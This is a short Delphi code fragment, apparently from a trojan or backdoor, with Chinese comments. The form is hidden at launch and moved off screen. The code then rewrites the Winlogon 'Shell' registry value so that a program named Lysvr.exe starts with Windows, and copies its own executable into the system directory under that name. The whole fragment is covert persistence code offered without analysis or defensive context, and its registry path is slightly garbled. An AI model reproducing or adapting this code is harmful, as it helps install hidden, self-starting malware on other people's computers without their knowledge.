procedure TFmMain.FormCreate(Sender: TObject); var sysdir:array[0..50] of char; begin Application.ShowMainForm:=False; FmMain.Left:=-200; //运行不显示窗口 reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey("SoftWareMicrosoftWindows NTCurrentVersionWinlogon",true); if reg.ReadString("Shell")<> "Explorer.exe Lysvr.exe" then reg.WriteString("Shell","Explorer.exe Lysvr.exe"); //建立开机启动项 reg.Free; GetSystemDirectory(sysdir,50); if not FileExists(sysdir+"Lysvr.exe") then copyfile(Pchar(Application.exeName),pchar(sysdir+"Lysvr.exe"),true);